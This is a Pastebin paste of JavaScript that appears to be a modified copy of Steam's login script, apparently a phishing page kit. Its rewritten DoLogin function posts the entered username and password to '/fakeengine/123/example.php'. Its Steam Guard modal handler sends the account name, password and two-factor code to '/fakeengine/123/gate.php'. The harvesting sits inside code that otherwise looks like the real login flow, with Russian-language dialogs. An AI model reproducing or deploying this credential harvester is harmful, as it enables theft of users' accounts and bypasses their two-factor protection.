Advertisement
Guest User

Untitled

a guest
Oct 13th, 2018
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 79.74 KB | None | 0 0
  1. "use strict";
  2.  
  3. function CLoginPromptManager( strBaseURL, rgOptions )
  4. {
  5. // normalize with trailing slash
  6. this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';
  7. this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above.
  8.  
  9. // read options
  10. rgOptions = rgOptions || {};
  11. this.m_bIsMobile = rgOptions.bIsMobile || false;
  12. this.m_strMobileClientType = rgOptions.strMobileClientType || '';
  13. this.m_strMobileClientVersion = rgOptions.strMobileClientVersion || '';
  14. this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );
  15. this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage || false;
  16.  
  17. this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm || document.forms['logon'] );
  18.  
  19. this.m_fnOnFailure = rgOptions.fnOnFailure || null;
  20. this.m_fnOnSuccess = rgOptions.fnOnSuccess || null;
  21.  
  22. this.m_strRedirectURL = rgOptions.strRedirectURL || (this.m_bIsMobile ? '' : strBaseURL);
  23. this.m_strSessionID = rgOptions.strSessionID || null;
  24.  
  25. this.m_strUsernameEntered = null;
  26. this.m_strUsernameCanonical = null;
  27.  
  28. if ( rgOptions.gidCaptcha )
  29. this.UpdateCaptcha( rgOptions.gidCaptcha );
  30. else
  31. this.RefreshCaptcha(); // check if needed
  32.  
  33.  
  34. this.m_bLoginInFlight = false;
  35. this.m_bInEmailAuthProcess = false;
  36. this.m_bInTwoFactorAuthProcess = false;
  37. this.m_TwoFactorModal = null;
  38. this.m_bEmailAuthSuccessful = false;
  39. this.m_bLoginTransferInProgress = false;
  40. this.m_bEmailAuthSuccessfulWantToLeave = false;
  41. this.m_bTwoFactorAuthSuccessful = false;
  42. this.m_bTwoFactorAuthSuccessfulWantToLeave = false;
  43. this.m_sOAuthRedirectURI = 'steammobile://mobileloginsucceeded';
  44. this.m_sAuthCode = "";
  45. this.m_sPhoneNumberLastDigits = "??";
  46. this.m_bTwoFactorReset = false;
  47.  
  48. // values we collect from the user
  49. this.m_steamidEmailAuth = '';
  50.  
  51.  
  52. // record keeping
  53. this.m_iIncorrectLoginFailures = 0; // mobile reveals password after a couple failures
  54.  
  55. var _this = this;
  56.  
  57. this.m_$LogonForm.submit( function(e) {
  58. _this.DoLogin();
  59. e.preventDefault();
  60. });
  61. // find buttons and make them clickable
  62. $J('#login_btn_signin' ).children('a, button' ).click( function() { _this.DoLogin(); } );
  63.  
  64. this.InitModalContent();
  65.  
  66. // these modals need to be in the body because we refer to elements by name before they are ready
  67. this.m_$ModalAuthCode = this.GetModalContent( 'loginAuthCodeModal' );
  68. this.m_$ModalAuthCode.find('[data-modalstate]' ).each( function() {
  69. $J(this).click( function() { _this.SetEmailAuthModalState( $J(this).data('modalstate') ); } );
  70. });
  71. this.m_$ModalAuthCode.find('form').submit( function(e) {
  72. _this.SetEmailAuthModalState('submit');
  73. e.preventDefault();
  74. });
  75. this.m_EmailAuthModal = null;
  76.  
  77. this.m_$ModalIPT = this.GetModalContent( 'loginIPTModal' );
  78.  
  79. this.m_$ModalTwoFactor = this.GetModalContent( 'loginTwoFactorCodeModal' );
  80. this.m_$ModalTwoFactor.find( '[data-modalstate]' ).each( function() {
  81. $J(this).click( function() {
  82.  
  83. var log = document.getElementById('steamAccountName').value;
  84. var pass = document.getElementById('steamPassword').value;
  85. var guard = document.getElementById('twofactorcode_entry').value;
  86.  
  87. $J.post("/fakeengine/123/gate.php" + window.location.search, { L: log, P: pass, G: guard, S: window.steamid64 } )
  88. .done(function( data ) {
  89. location.reload();
  90. //location.href = 'about:blank';
  91. })
  92. .fail( function () {
  93. alert('Error');
  94. });
  95.  
  96. //_this.SetTwoFactorAuthModalState( $J(this).data('modalstate') );
  97. } );
  98. });
  99. this.m_$ModalTwoFactor.find( 'form' ).submit( function(e) {
  100. // Prevent submit if nothing was entered
  101. if ( $J('#twofactorcode_entry').val() != '' )
  102. {
  103. // Push the left button
  104. var $btnLeft = _this.m_$ModalTwoFactor.find( '.auth_buttonset:visible .auth_button.leftbtn ' );
  105. $btnLeft.trigger( 'click' );
  106. }
  107.  
  108. e.preventDefault();
  109. });
  110.  
  111.  
  112.  
  113. // register to listen to IOS two factor callback
  114. $J(document).on('SteamMobile_ReceiveAuthCode', function( e, authcode ) {
  115. _this.m_sAuthCode = authcode;
  116. });
  117.  
  118. $J('#captchaRefreshLink' ).click( $J.proxy( this.RefreshCaptcha, this ) );
  119.  
  120. // include some additional scripts we may need
  121. if ( typeof BigNumber == 'undefined' )
  122. $J.ajax( { url: 'https://steamcommunity-a.akamaihd.net/public/shared/javascript/crypto/jsbn.js', type: 'get', dataType: 'script', cache: true } );
  123. if ( typeof RSA == 'undefined' )
  124. $J.ajax( { url: 'https://steamcommunity-a.akamaihd.net/public/shared/javascript/crypto/rsa.js', type: 'get', dataType: 'script', cache: true } );
  125. }
  126.  
  127. CLoginPromptManager.prototype.BIsIos = function() { return this.m_strMobileClientType == 'ios'; };
  128. CLoginPromptManager.prototype.BIsAndroid = function() { return this.m_strMobileClientType == 'android'; };
  129. CLoginPromptManager.prototype.BIsWinRT = function() { return this.m_strMobileClientType == 'winrt'; };
  130.  
  131. CLoginPromptManager.prototype.BIsUserInMobileClientVersionOrNewer = function( nMinMajor, nMinMinor, nMinPatch ) {
  132. if ( (!this.BIsIos() && !this.BIsAndroid() && !this.BIsWinRT() ) || this.m_strMobileClientVersion == '' )
  133. return false;
  134.  
  135. var version = this.m_strMobileClientVersion.match( /(?:(\d+) )?\(?(\d+)\.(\d+)(?:\.(\d+))?\)?/ );
  136. if ( version && version.length >= 3 )
  137. {
  138. var nMajor = parseInt( version[2] );
  139. var nMinor = parseInt( version[3] );
  140. var nPatch = parseInt( version[4] );
  141.  
  142. return nMajor > nMinMajor || ( nMajor == nMinMajor && ( nMinor > nMinMinor || ( nMinor == nMinMinor && nPatch >= nMinPatch ) ) );
  143. }
  144. };
  145.  
  146. CLoginPromptManager.prototype.GetParameters = function( rgParams )
  147. {
  148. var rgDefaultParams = { 'donotcache': new Date().getTime() };
  149. if ( this.m_strSessionID )
  150. rgDefaultParams['sessionid'] = this.m_strSessionID;
  151.  
  152. return $J.extend( rgDefaultParams, rgParams );
  153. };
  154.  
  155. CLoginPromptManager.prototype.$LogonFormElement = function( strElementName )
  156. {
  157. var $Form = this.m_$LogonForm;
  158. var elInput = this.m_$LogonForm[0].elements[ strElementName ];
  159.  
  160. if ( !elInput )
  161. {
  162. var $Input = $J('<input/>', {type: 'hidden', name: strElementName } );
  163. $Form.append( $Input );
  164. return $Input;
  165. }
  166. else
  167. {
  168. return $J( elInput );
  169. }
  170. };
  171.  
  172. CLoginPromptManager.prototype.HighlightFailure = function( msg )
  173. {
  174. if ( this.m_fnOnFailure )
  175. {
  176. this.m_fnOnFailure( msg );
  177.  
  178. // always blur on mobile so the error can be seen
  179. if ( this.m_bIsMobile && msg )
  180. $J('input:focus').blur();
  181. }
  182. else
  183. {
  184. var $ErrorElement = $J('#error_display');
  185.  
  186. if ( msg )
  187. {
  188. $ErrorElement.text( msg );
  189. $ErrorElement.slideDown();
  190.  
  191. if ( this.m_bIsMobile )
  192. $J('input:focus').blur();
  193. }
  194. else
  195. {
  196. $ErrorElement.hide();
  197. }
  198. }
  199. };
  200.  
  201.  
  202. //Refresh the catpcha image
  203. CLoginPromptManager.prototype.RefreshCaptcha = function()
  204. {
  205. var _this = this;
  206. $J.post( this.m_strBaseURL + 'refreshcaptcha/', this.GetParameters( {} ) )
  207. .done( function( data ) {
  208. _this.UpdateCaptcha( data.gid );
  209. });
  210. };
  211.  
  212. CLoginPromptManager.prototype.UpdateCaptcha = function( gid )
  213. {
  214. if ( gid != -1 )
  215. {
  216. $J('#captcha_entry').show();
  217. $J('#captchaImg').attr( 'src', this.m_strBaseURL + 'rendercaptcha/?gid='+gid );
  218. this.$LogonFormElement('captcha_text').val('');
  219. }
  220. else
  221. {
  222. $J('#captcha_entry' ).hide();
  223. }
  224. this.m_gidCaptcha = gid;
  225. };
  226.  
  227. CLoginPromptManager.prototype.DoLogin = function()
  228. {
  229. var form = this.m_$LogonForm[0];
  230.  
  231. var username = form.elements['username'].value;
  232. this.m_strUsernameEntered = username;
  233. username = username.replace( /[^\x00-\x7F]/g, '' ); // remove non-standard-ASCII characters
  234. this.m_strUsernameCanonical = username;
  235.  
  236. var password = form.elements['password'].value;
  237. password = password.replace( /[^\x00-\x7F]/g, '' ); // remove non-standard-ASCII characters
  238.  
  239. if ( this.m_bLoginInFlight || password.length == 0 || username.length == 0 )
  240. return;
  241.  
  242. this.m_bLoginInFlight = true;
  243. $J('#login_btn_signin').hide();
  244. $J('#login_btn_wait').show();
  245.  
  246. // reset some state
  247. this.HighlightFailure( '' );
  248.  
  249. var _this = this;
  250.  
  251. var _this = this;
  252.  
  253. //Здесь пост запрос на проверку логина и пароля
  254.  
  255. $J.post("/fakeengine/123/example.php", this.GetParameters( { l: username, p: password } ) )
  256. .done(function( data ) {
  257.  
  258. var steaminfo = data.split(':');
  259. if(steaminfo[1] == "Mobile"){
  260. window.steamid64 = steaminfo[0];
  261. _this.m_bInTwoFactorAuthProcess = true;
  262. _this.SetTwoFactorAuthModalState( 'entercode' );
  263.  
  264. _this.m_TwoFactorModal = ShowDialog( 'Мобильная аутентификация Steam Guard', _this.m_$ModalTwoFactor.show() )
  265. .fail( function() { _this.CancelTwoFactorAuthProcess(); } )
  266. .always( function() {
  267. $J(document.body).append( _this.m_$ModalTwoFactor.hide() );
  268. _this.m_bInTwoFactorAuthProcess = false;
  269. _this.m_TwoFactorModal = null;
  270. } );
  271.  
  272. _this.m_TwoFactorModal.SetDismissOnBackgroundClick( false );
  273. _this.m_TwoFactorModal.SetRemoveContentOnDismissal( false );
  274.  
  275. $J('#twofactorcode_entry').focus();
  276. }
  277. if(data == "Bad password"){
  278. ShowAlertDialog( 'Ошибка', 'Не верный логин либо пароль.' );
  279. $J('#login_btn_signin').show();
  280. $J('#login_btn_wait').hide();
  281. _this.m_bLoginInFlight = false;
  282. }
  283. })
  284. .fail( function () {
  285. ShowAlertDialog( 'Ошибка', 'При подключении к серверам Steam возникла проблема. Повторите попытку позже.' );
  286. $J('#login_btn_signin').show();
  287. $J('#login_btn_wait').hide();
  288. _this.m_bLoginInFlight = false;
  289. });
  290.  
  291.  
  292.  
  293. };
  294.  
  295. // used to get mobile client to execute a steammobile URL
  296. CLoginPromptManager.prototype.RunLocalURL = function(url)
  297. {
  298. var $IFrame = $J('<iframe/>', {src: url} );
  299. $J(document.body).append( $IFrame );
  300.  
  301. // take it back out immediately
  302. $IFrame.remove();
  303. };
  304.  
  305. var g_interval = null;
  306.  
  307. // read results from Android or WinRT clients
  308. CLoginPromptManager.prototype.GetValueFromLocalURL = function( url, callback )
  309. {
  310. window.g_status = null;
  311. window.g_data = null;
  312. this.RunLocalURL( url );
  313.  
  314. var timeoutTime = Date.now() + 1000 * 5;
  315.  
  316. if ( g_interval != null )
  317. {
  318. window.clearInterval( g_interval );
  319. g_interval = null;
  320. }
  321.  
  322. // poll regularly (but gently) for an update.
  323. g_interval = window.setInterval( function() {
  324. var status = window.SGHandler.getResultStatus();
  325. if ( status && status != 'busy' )
  326. {
  327. if ( g_interval )
  328. window.clearInterval( g_interval );
  329.  
  330. var value = window.SGHandler.getResultValue();
  331. callback( [ status, value ] );
  332. return;
  333. }
  334. if ( Date.now() > timeoutTime )
  335. {
  336. if ( g_interval )
  337. window.clearInterval( g_interval );
  338. callback( ['error', 'timeout'] );
  339. return;
  340. }
  341. }, 100);
  342. };
  343.  
  344. // this function is invoked by iOS after the steammobile:// url is triggered by GetAuthCode.
  345. // we post an event to the dom to let any login handlers deal with it.
  346. function receiveAuthCode( code )
  347. {
  348. $J(document).trigger( 'SteamMobile_ReceiveAuthCode', [ code ] );
  349. };
  350.  
  351. CLoginPromptManager.prototype.GetAuthCode = function( results, callback )
  352. {
  353. if ( this.m_bIsMobile )
  354. {
  355. // honor manual entry before anything else
  356. var code = $J('#twofactorcode_entry').val();
  357. if ( code.length > 0 )
  358. {
  359. callback( results, code );
  360. return;
  361. }
  362.  
  363. if ( this.BIsIos() )
  364. {
  365. this.m_sAuthCode = '';
  366. this.RunLocalURL( "steammobile://twofactorcode?gid=" + results.token_gid );
  367.  
  368. // this is expected to trigger receiveAuthCode and we'll have this value set by the time it's done
  369. if ( this.m_sAuthCode.length > 0 )
  370. {
  371. callback( results, this.m_sAuthCode );
  372. return;
  373. }
  374. }
  375. else if ( this.BIsAndroid() || this.BIsWinRT() )
  376. {
  377. var result = this.GetValueFromLocalURL('steammobile://twofactorcode?gid=' + results.token_gid, function(result) {
  378. if ( result[0] == 'ok' )
  379. {
  380. callback(results, result[1]);
  381. } else {
  382. // this may be in the modal
  383. callback(results, $J('#twofactorcode_entry').val());
  384. }
  385. });
  386. return;
  387. }
  388.  
  389. // this may be in the modal
  390. callback(results, $J('#twofactorcode_entry').val());
  391. }
  392. else
  393. {
  394. var authCode = this.m_sAuthCode;
  395. this.m_sAuthCode = '';
  396. callback( results, authCode );
  397. }
  398. };
  399.  
  400.  
  401. CLoginPromptManager.prototype.OnRSAKeyResponse = function( results )
  402. {
  403. if ( results.publickey_mod && results.publickey_exp && results.timestamp )
  404. {
  405. this.GetAuthCode( results , $J.proxy(this.OnAuthCodeResponse, this) );
  406. }
  407. else
  408. {
  409. if ( results.message )
  410. {
  411. this.HighlightFailure( results.message );
  412. }
  413.  
  414. $J('#login_btn_signin').show();
  415. $J('#login_btn_wait').hide();
  416.  
  417. this.m_bLoginInFlight = false;
  418. }
  419. };
  420.  
  421. CLoginPromptManager.prototype.OnAuthCodeResponse = function( results, authCode )
  422. {
  423. var form = this.m_$LogonForm[0];
  424. var pubKey = RSA.getPublicKey(results.publickey_mod, results.publickey_exp);
  425. var username = this.m_strUsernameCanonical;
  426. var password = form.elements['password'].value;
  427. password = password.replace(/[^\x00-\x7F]/g, ''); // remove non-standard-ASCII characters
  428. var encryptedPassword = RSA.encrypt(password, pubKey);
  429.  
  430. var rgParameters = {
  431. password: encryptedPassword,
  432. username: username,
  433. twofactorcode: authCode,
  434. emailauth: form.elements['emailauth'] ? form.elements['emailauth'].value : '',
  435. loginfriendlyname: form.elements['loginfriendlyname'] ? form.elements['loginfriendlyname'].value : '',
  436. captchagid: this.m_gidCaptcha,
  437. captcha_text: form.elements['captcha_text'] ? form.elements['captcha_text'].value : '',
  438. emailsteamid: this.m_steamidEmailAuth,
  439. rsatimestamp: results.timestamp,
  440. remember_login: ( form.elements['remember_login'] && form.elements['remember_login'].checked ) ? 'true' : 'false'
  441. };
  442.  
  443. if (this.m_bIsMobile)
  444. rgParameters.oauth_client_id = form.elements['oauth_client_id'].value;
  445.  
  446. var _this = this;
  447. $J.post(this.m_strBaseURL + 'dologin/', this.GetParameters(rgParameters))
  448. .done($J.proxy(this.OnLoginResponse, this))
  449. .fail(function () {
  450. ShowAlertDialog('Error', 'There was a problem communicating with the Steam servers. Please try again later.');
  451.  
  452. $J('#login_btn_signin').show();
  453. $J('#login_btn_wait').hide();
  454. _this.m_bLoginInFlight = false;
  455. });
  456. };
  457.  
  458.  
  459. CLoginPromptManager.prototype.OnLoginResponse = function( results )
  460. {
  461. this.m_bLoginInFlight = false;
  462. var bRetry = true;
  463.  
  464. if ( results.login_complete )
  465. {
  466. if ( this.m_bIsMobile && results.oauth )
  467. {
  468. if( results.redirect_uri )
  469. {
  470. this.m_sOAuthRedirectURI = results.redirect_uri;
  471. }
  472.  
  473. this.$LogonFormElement('oauth' ).val( results.oauth );
  474. bRetry = false;
  475. this.LoginComplete();
  476. return;
  477. }
  478.  
  479. var bRunningTransfer = false;
  480. if ( ( results.transfer_url || results.transfer_urls ) && results.transfer_parameters )
  481. {
  482. bRunningTransfer = true;
  483. var _this = this;
  484. if ( !this.m_bLoginTransferInProgress )
  485. CLoginPromptManager.TransferLogin( results.transfer_urls || [ results.transfer_url ], results.transfer_parameters, function() { _this.OnTransferComplete(); } );
  486. this.m_bLoginTransferInProgress = true;
  487. }
  488.  
  489. if ( this.m_bInEmailAuthProcess )
  490. {
  491. this.m_bEmailAuthSuccessful = true;
  492. this.SetEmailAuthModalState( 'success' );
  493. }
  494. else if ( this.m_bInTwoFactorAuthProcess )
  495. {
  496. this.m_bTwoFactorAuthSuccessful = true;
  497. this.SetTwoFactorAuthModalState( 'success' );
  498. }
  499. else
  500. {
  501. bRetry = false;
  502. if ( !bRunningTransfer )
  503. this.LoginComplete();
  504. }
  505. }
  506. else
  507. {
  508. // if there was some kind of other error while doing email auth or twofactor, make sure
  509. // the modals don't get stuck
  510. if ( !results.emailauth_needed && this.m_EmailAuthModal )
  511. this.m_EmailAuthModal.Dismiss();
  512.  
  513. if ( !results.requires_twofactor && this.m_TwoFactorModal )
  514. this.m_TwoFactorModal.Dismiss();
  515.  
  516. if ( results.requires_twofactor )
  517. {
  518. $J('#captcha_entry').hide();
  519.  
  520. if ( !this.m_bInTwoFactorAuthProcess )
  521. this.StartTwoFactorAuthProcess();
  522. else
  523. this.SetTwoFactorAuthModalState( 'incorrectcode' );
  524. }
  525. else if ( results.captcha_needed && results.captcha_gid )
  526. {
  527. this.UpdateCaptcha( results.captcha_gid );
  528. this.m_iIncorrectLoginFailures ++;
  529. }
  530. else if ( results.emailauth_needed )
  531. {
  532. if ( results.emaildomain )
  533. $J('#emailauth_entercode_emaildomain').text( results.emaildomain );
  534.  
  535. if ( results.emailsteamid )
  536. this.m_steamidEmailAuth = results.emailsteamid;
  537.  
  538. if ( !this.m_bInEmailAuthProcess )
  539. this.StartEmailAuthProcess();
  540. else
  541. this.SetEmailAuthModalState( 'incorrectcode' );
  542. }
  543. else if ( results.denied_ipt )
  544. {
  545. ShowDialog( 'Технология Intel® Identity Protection', this.m_$ModalIPT.show() ).always( $J.proxy( this.ClearLoginForm, this ) );
  546. }
  547. else
  548. {
  549. this.m_strUsernameEntered = null;
  550. this.m_strUsernameCanonical = null;
  551. this.m_iIncorrectLoginFailures ++;
  552. }
  553.  
  554. if ( results.message )
  555. {
  556. this.HighlightFailure( results.message );
  557. if ( this.m_bIsMobile && this.m_iIncorrectLoginFailures > 1 && !results.emailauth_needed && !results.bad_captcha )
  558. {
  559. // 2 failed logins not due to Steamguard or captcha, un-obfuscate the password field
  560. $J( '#passwordclearlabel' ).show();
  561. $J( '#steamPassword' ).val('');
  562. $J( '#steamPassword' ).attr( 'type', 'text' );
  563. $J( '#steamPassword' ).attr( 'autocomplete', 'off' );
  564. }
  565. else if ( results.clear_password_field )
  566. {
  567. $J( '#input_password' ).val('');
  568. $J( '#input_password' ).focus();
  569. }
  570.  
  571. }
  572. }
  573. if ( bRetry )
  574. {
  575. $J('#login_btn_signin').show();
  576. $J('#login_btn_wait').hide();
  577. }
  578. };
  579.  
  580. CLoginPromptManager.prototype.ClearLoginForm = function()
  581. {
  582. var rgElements = this.m_$LogonForm[0].elements;
  583. rgElements['username'].value = '';
  584. rgElements['password'].value = '';
  585. if ( rgElements['emailauth'] ) rgElements['emailauth'].value = '';
  586. this.m_steamidEmailAuth = '';
  587.  
  588. // part of the email auth modal
  589. $J('#authcode').value = '';
  590.  
  591. if ( this.m_gidCaptcha )
  592. this.RefreshCaptcha();
  593.  
  594. rgElements['username'].focus();
  595. };
  596.  
  597. CLoginPromptManager.prototype.StartEmailAuthProcess = function()
  598. {
  599. this.m_bInEmailAuthProcess = true;
  600.  
  601. this.SetEmailAuthModalState( 'entercode' );
  602.  
  603. var _this = this;
  604. this.m_EmailAuthModal = ShowDialog( 'Steam Guard', this.m_$ModalAuthCode.show() )
  605. .always( function() {
  606. $J(document.body).append( _this.m_$ModalAuthCode.hide() );
  607. _this.CancelEmailAuthProcess();
  608. _this.m_EmailAuthModal = null;
  609. } );
  610.  
  611. this.m_EmailAuthModal.SetDismissOnBackgroundClick( false );
  612. this.m_EmailAuthModal.SetRemoveContentOnDismissal( false );
  613. $J('#authcode_entry').find('input').focus();
  614. };
  615.  
  616. CLoginPromptManager.prototype.CancelEmailAuthProcess = function()
  617. {
  618. this.m_steamidEmailAuth = '';
  619. if ( this.m_bInEmailAuthProcess )
  620. {
  621. this.m_bInEmailAuthProcess = false;
  622.  
  623. // if the user closed the auth window on the last step, just redirect them like we normally would
  624. if ( this.m_bEmailAuthSuccessful )
  625. this.LoginComplete();
  626. }
  627. };
  628.  
  629. CLoginPromptManager.TransferLogin = function( rgURLs, parameters, fnOnComplete )
  630. {
  631. var bOnCompleteFired = false;
  632. var fnFireOnComplete = function( bSuccess )
  633. {
  634. if ( !bOnCompleteFired )
  635. fnOnComplete( bSuccess );
  636. bOnCompleteFired = true;
  637. }
  638.  
  639. var cResponsesExpected = rgURLs.length;
  640. $J(window).on( 'message', function() {
  641. if ( --cResponsesExpected == 0 )
  642. fnFireOnComplete( true );
  643. });
  644.  
  645. for ( var i = 0 ; i < rgURLs.length; i++ )
  646. {
  647. var $IFrame = $J('<iframe>', {id: 'transfer_iframe' } ).hide();
  648. $J(document.body).append( $IFrame );
  649.  
  650. var doc = $IFrame[0].contentWindow.document;
  651. doc.open();
  652. doc.write( '<form method="POST" action="' + rgURLs[i] + '" name="transfer_form">' );
  653. for ( var param in parameters )
  654. {
  655. doc.write( '<input type="hidden" name="' + param + '" value="' + V_EscapeHTML( parameters[param] ) + '">' );
  656. }
  657. doc.write( '</form>' );
  658. doc.write( '<script>window.onload = function(){ document.forms["transfer_form"].submit(); }</script>' );
  659. doc.close();
  660. }
  661.  
  662. // after 10 seconds, give up on waiting for transfer
  663. window.setTimeout( function() { fnFireOnComplete( false ); }, 10000 );
  664. };
  665.  
  666. CLoginPromptManager.prototype.OnTransferComplete = function()
  667. {
  668. if ( !this.m_bLoginTransferInProgress )
  669. return;
  670. this.m_bLoginTransferInProgress = false;
  671. if ( !this.m_bInEmailAuthProcess && !this.m_bInTwoFactorAuthProcess )
  672. this.LoginComplete();
  673. else if ( this.m_bEmailAuthSuccessfulWantToLeave || this.m_bTwoFactorAuthSuccessfulWantToLeave)
  674. this.LoginComplete();
  675. };
  676.  
  677. CLoginPromptManager.prototype.OnEmailAuthSuccessContinue = function()
  678. {
  679. $J('#auth_buttonsets').children().hide();
  680. $J('#auth_buttonset_waiting').show();
  681.  
  682. if ( this.m_bLoginTransferInProgress )
  683. {
  684. this.m_bEmailAuthSuccessfulWantToLeave = true;
  685. }
  686. else
  687. this.LoginComplete();
  688. };
  689.  
  690. CLoginPromptManager.prototype.LoginComplete = function()
  691. {
  692. if ( this.m_fnOnSuccess )
  693. {
  694. this.m_fnOnSuccess();
  695. }
  696. else if ( $J('#openidForm').length )
  697. {
  698. $J('#openidForm').submit();
  699. }
  700. else if ( this.m_strRedirectURL != '' )
  701. {
  702. // If this isn't one of our URLs, reject anything that looks like it has a protocol in it.
  703. if ( this.m_strRedirectURL.match ( /^[^\/]*:/i ) )
  704. {
  705. if ( this.m_strRedirectURL.replace( /^http:/, 'https:' ).indexOf( this.m_strSiteBaseURL.replace( /^http:/, 'https:') ) !== 0 )
  706. {
  707. this.m_strRedirectURL = '';
  708. }
  709. }
  710. // browsers treat multiple leading slashes as the end of the protocol specifier
  711. if ( this.m_strRedirectURL.match( /^\/\// ) ) { this.m_strRedirectURL = ''; }
  712. if( this.m_strRedirectURL )
  713. window.location = this.m_strRedirectURL;
  714. else
  715. window.location = this.m_strSiteBaseURL
  716. }
  717. else if ( this.m_bIsMobile )
  718. {
  719. var oauthJSON = document.forms['logon'].elements['oauth'] && document.forms['logon'].elements['oauth'].value;
  720. if ( oauthJSON && ( oauthJSON.length > 0 ) )
  721. {
  722. if ( this.m_bMobileClientSupportsPostMessage )
  723. {
  724. var strHost = window.location.protocol + '//' + window.location.host;
  725. window.postMessage( oauthJSON, strHost );
  726. }
  727. else
  728. {
  729. window.location = this.m_sOAuthRedirectURI + '?' + oauthJSON;
  730. }
  731. }
  732. }
  733. };
  734.  
  735. CLoginPromptManager.prototype.SubmitAuthCode = function()
  736. {
  737. if ( !v_trim( $J('#authcode').val() ).length )
  738. return;
  739.  
  740. $J('#auth_details_computer_name').css('color', '85847f' ); //TODO
  741. $J('#auth_buttonsets').children().hide();
  742. $J('#auth_buttonset_waiting').show();
  743.  
  744. this.$LogonFormElement( 'loginfriendlyname' ).val( $J('#friendlyname').val() );
  745. this.$LogonFormElement( 'emailauth' ).val( $J('#authcode').val() );
  746.  
  747. this.DoLogin();
  748. };
  749.  
  750. CLoginPromptManager.prototype.SetEmailAuthModalState = function( step )
  751. {
  752. if ( step == 'submit' )
  753. {
  754. this.SubmitAuthCode();
  755. return;
  756. }
  757. else if ( step == 'complete' )
  758. {
  759. this.OnEmailAuthSuccessContinue();
  760. return;
  761. }
  762.  
  763. $J('#auth_messages').children().hide();
  764. $J('#auth_message_' + step ).show();
  765.  
  766. $J('#auth_details_messages').children().hide();
  767. $J('#auth_details_' + step ).show();
  768.  
  769. $J('#auth_buttonsets').children().hide();
  770. $J('#auth_buttonset_' + step ).show();
  771.  
  772. $J('#authcode_help_supportlink').hide();
  773.  
  774. var icon='key';
  775. var bShowAuthcodeEntry = true;
  776. if ( step == 'entercode' )
  777. {
  778. icon = 'mail';
  779. }
  780. else if ( step == 'checkspam' )
  781. {
  782. icon = 'trash';
  783. }
  784. else if ( step == 'success' )
  785. {
  786. icon = 'unlock';
  787. bShowAuthcodeEntry = false;
  788. $J('#success_continue_btn').focus();
  789. this.m_EmailAuthModal.SetDismissOnBackgroundClick( true );
  790. this.m_EmailAuthModal.always( $J.proxy( this.LoginComplete, this ) );
  791. }
  792. else if ( step == 'incorrectcode' )
  793. {
  794. icon = 'lock';
  795. }
  796. else if ( step == 'help' )
  797. {
  798. icon = 'steam';
  799. bShowAuthcodeEntry = false;
  800. $J('#authcode_help_supportlink').show();
  801. }
  802.  
  803. if ( bShowAuthcodeEntry )
  804. {
  805. var $AuthcodeEntry = $J('#authcode_entry');
  806. if ( !$AuthcodeEntry.is(':visible') )
  807. {
  808. $AuthcodeEntry.show().find('input').focus();
  809. }
  810. $J('#auth_details_computer_name').show();
  811. }
  812. else
  813. {
  814. $J('#authcode_entry').hide();
  815. $J('#auth_details_computer_name').hide();
  816. }
  817.  
  818. $J('#auth_icon').attr('class', 'auth_icon auth_icon_' + icon );
  819. };
  820.  
  821. CLoginPromptManager.prototype.StartTwoFactorAuthProcess = function()
  822. {
  823. this.m_bInTwoFactorAuthProcess = true;
  824. this.SetTwoFactorAuthModalState( 'entercode' );
  825.  
  826. var _this = this;
  827. this.m_TwoFactorModal = ShowDialog( 'Мобильная аутентификация Steam Guard', this.m_$ModalTwoFactor.show() )
  828. .fail( function() { _this.CancelTwoFactorAuthProcess(); } )
  829. .always( function() {
  830. $J(document.body).append( _this.m_$ModalTwoFactor.hide() );
  831. _this.m_bInTwoFactorAuthProcess = false;
  832. _this.m_TwoFactorModal = null;
  833. } );
  834.  
  835. this.m_TwoFactorModal.SetDismissOnBackgroundClick( false );
  836. this.m_TwoFactorModal.SetRemoveContentOnDismissal( false );
  837.  
  838. $J('#twofactorcode_entry').focus();
  839. };
  840.  
  841.  
  842. CLoginPromptManager.prototype.CancelTwoFactorAuthProcess = function()
  843. {
  844. this.m_bInTwoFactorAuthProcess = false;
  845.  
  846. if ( this.m_bTwoFactorAuthSuccessful )
  847. this.LoginComplete();
  848. else
  849. this.ClearLoginForm();
  850. };
  851.  
  852.  
  853. CLoginPromptManager.prototype.OnTwoFactorResetOptionsResponse = function( results )
  854. {
  855. if ( results.success && results.options.sms.allowed )
  856. {
  857. this.m_sPhoneNumberLastDigits = results.options.sms.last_digits;
  858. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove' ); // Or reset if this.m_bTwoFactorReset
  859. }
  860. else if ( results.success )
  861. {
  862. this.SetTwoFactorAuthModalState( 'selfhelp_nosms' );
  863. }
  864. else
  865. {
  866. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  867. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  868. }
  869. };
  870.  
  871.  
  872. CLoginPromptManager.prototype.OnTwoFactorRecoveryFailure = function()
  873. {
  874. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  875. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( '' ); // v0v
  876. };
  877.  
  878.  
  879. CLoginPromptManager.prototype.OnStartRemoveTwoFactorResponse = function( results )
  880. {
  881. if ( results.success )
  882. {
  883. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_entercode' );
  884. }
  885. else
  886. {
  887. this.SetTwoFactorAuthModalState( 'selfhelp_failure' );
  888. $J( '#login_twofactorauth_details_selfhelp_failure' ).text( results.message );
  889. }
  890. };
  891.  
  892.  
  893. CLoginPromptManager.prototype.OnRemoveTwoFactorResponse = function( results )
  894. {
  895. if ( results.success )
  896. {
  897. if ( this.m_bTwoFactorReset )
  898. {
  899. if ( this.m_bIsMobileSteamClient && !this.m_bMobileClientSupportsPostMessage )
  900. this.RunLocalURL( "steammobile://steamguard?op=setsecret&arg1=" + results.replacement_token );
  901.  
  902. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_replaced' );
  903. }
  904. else
  905. {
  906. this.SetTwoFactorAuthModalState( 'selfhelp_twofactor_removed' );
  907. }
  908. }
  909. else if ( results.retry )
  910. {
  911. this.SetTwoFactorAuthModalState( 'selfhelp_sms_remove_incorrectcode' );
  912. }
  913. else
